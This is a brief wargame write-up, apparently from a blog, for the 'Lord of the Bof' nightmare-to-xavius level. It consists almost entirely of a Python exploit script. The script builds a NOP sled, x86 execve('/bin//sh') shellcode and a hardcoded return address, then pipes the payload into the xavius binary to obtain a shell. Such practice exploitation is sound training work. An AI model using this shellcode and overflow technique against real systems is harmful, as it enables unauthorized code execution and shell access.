Wargame/Lord Of the Bof(redhat)

[Remind] LOB nightmare -> xavius

JeonYoungSin 2019. 4. 23. 00:30

exploit.py

import os

from struct import *


p = lambda x : pack("<L" , x)

shellAddress =  p(0x40015000)


payload = "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+shellAddress


print payload

(python exploit.py ;cat) | ./xavius